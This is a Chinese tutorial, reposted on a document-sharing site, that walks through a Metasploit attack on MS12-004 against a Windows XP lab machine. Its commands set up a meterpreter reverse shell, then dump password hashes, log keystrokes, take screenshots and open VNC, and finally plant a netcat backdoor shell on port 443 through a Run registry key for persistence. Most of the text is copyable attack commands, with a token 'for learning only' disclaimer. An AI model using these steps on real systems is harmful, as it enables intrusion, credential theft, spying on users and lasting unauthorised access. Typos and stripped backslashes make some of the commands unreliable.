《2022年2022年利用Metasploit进行渗透测试》由会员分享,可在线阅读,更多相关《2022年2022年利用Metasploit进行渗透测试(14页珍藏版)》请在金锄头文库上搜索。
1、利用 Metasploit 进行渗透测试声明: 本教程仅限供广大网络安全爱好者交流学习之用,任何人不得用于非法用途,否则后果自负。最近在玩 Backtrack 5 ,就把最近学到的东西分享下。所有工具都是Backtrack 5 自带的,用到的工具: 大名鼎鼎的Metasploit Feamwork 还有Netcat 要利用的漏洞:MS12-004 ,虽然漏洞是几个月前出的了,但这里只做渗透演示,重点在讲解工具的使用方法。废话不说,看步骤:在控制台执行msfconsole 启动 Metasploit ,名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - -
2、- - - - - 名师精心整理 - - - - - - - 第 1 页,共 14 页 - - - - - - - - - 输入命令search ms12_004 ,我们来找找 ms12-004漏洞的利用模块已经找到了,接下来使用该模块输入命令Use exploits/windows/browser/ms12_004_midi 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 2 页,共 14 页 - - - - - - - - - 接下来输入命令show options ,显示该漏洞
3、的基本信息,以及要设置的参数设置参数:输入命令: set SRVHOST 192.168.42.139 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 3 页,共 14 页 - - - - - - - - - Set PAYLOAD windows/meterpreter/reverse_tcp Set LHOST 192.168.42.130 Set URIOATH / 最后 再输入 show options ,查看是否设置好已经 OK 了,开始渗透。执行命令:Exploit 名师
4、资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 4 页,共 14 页 - - - - - - - - - 可以看到服务已经启动了,链接地址http:/192.168.42.130:8080/在用 Xp 打开恶意链接地址http:/192.168.42.130:8080/BackTrack 开始渗透,这边 BT5 已经有反应了,渗透成功 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - -
5、 第 5 页,共 14 页 - - - - - - - - - 输入命令Sessions 我们看到有一个会话,会话的ID 是 1 ,开打开这个会话输入命令Sessions -i 1 这时,我们已经进入了Meterpreter 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 6 页,共 14 页 - - - - - - - - - Meterpreter 是一个很强大的payload , 具体说明输入help 可以看到,Meterpreter hashdump / 可以看到远程主机帐号
6、和加密后的密码这里再说几个常用的Meterpreter 命令名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 7 页,共 14 页 - - - - - - - - - Meterpreter keyscan_start /开启键盘记录Meterpreter heyscan_dump / 查看键盘记录的内容Meterpreter keyscan_stop / 关闭键盘记录Meterpreter shell /看下图大家都懂的Meterpreter ps / 获取远程主机进程列表, 比 w
7、indows 自带的任务管理器清晰多了名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 8 页,共 14 页 - - - - - - - - - Meterpreter screenshot / 截取远程桌面屏幕Meterpreter run vnc / 开启远程主机 vnc 服务过一会,可以看到桌面,并且可以控制鼠标和键盘名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 9
8、页,共 14 页 - - - - - - - - - 好,下来我们来留后门,方便以后常来 先上传 nc.exe (netcant )到 windows 的 systen32文件夹下Upload /pentest/windows-binaries/tools/nc.exe c:windowssystem32 已经成功了,下来我们将nc.exe加到注册表,让他开机自启动名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 10 页,共 14 页 - - - - - - - - - 先查看注册表
9、Reg enumkey -k HKLMSOFTWAREMiorosoftWindowsCurrentVersionRun 已经可以看到注册表键值了下来加入注册表Reg setval -k HKLMSOFTWAREMiorosoftWindowsCurrentVersionRun -v backdoor -d c:windowssystem32nc.exe-L -d -p 443 cmd.exe (上面是一条命令)名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 11 页,共 14 页
10、- - - - - - - - - 提示成功,看看 XP 的注册表已经有了这个键值我们重启远程主机试下输命令 reboot 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 12 页,共 14 页 - - - - - - - - - 由于远程主机已经关闭,显示链接断开,等 xp 重启后,我们试试留的后门Telnet 192.168.42.139 443 已经连接成功了: ) .。刚接触 BT5,各位 Fucker 们见笑了. 论坛有玩 B5或者 Metasploit 的基友可以联系我,求交流。QQ :791628659 By Breaker 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 13 页,共 14 页 - - - - - - - - - 本文地址http:/ 年 4 月 10 日 11:34:16 名师资料总结 - - -精品资料欢迎下载 - - - - - - - - - - - - - - - - - - 名师精心整理 - - - - - - - 第 14 页,共 14 页 - - - - - - - - -